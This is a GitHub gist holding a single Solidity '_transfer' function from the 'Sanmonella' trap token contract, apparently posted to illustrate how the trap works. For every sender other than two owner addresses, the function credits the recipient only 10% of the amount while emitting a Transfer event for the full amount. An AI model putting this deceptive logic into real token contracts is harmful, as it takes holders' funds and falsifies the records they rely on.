Skip to content

Instantly share code, notes, and snippets.

@yuyasugano
Created August 9, 2021 02:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yuyasugano/ce74b585f3583536a7972eb3028db2e6 to your computer and use it in GitHub Desktop.
Save yuyasugano/ce74b585f3583536a7972eb3028db2e6 to your computer and use it in GitHub Desktop.
Sanmonella contract _transfer function
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// sender's balance needs to equal to or more han the amount
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
// allow normal users to increase received amount
if (sender == ownerA || sender == ownerB) {
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
// behaves differently, returns only 10% of the specified amount
} else {
_balances[sender] = senderBalance - amount;
uint256 trapAmount = (amount * 10) / 100;
_balances[recipient] += trapAmount;
}
// even with 10% returns, emit an event with the specified amount
emit Transfer(sender, recipient, amount);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment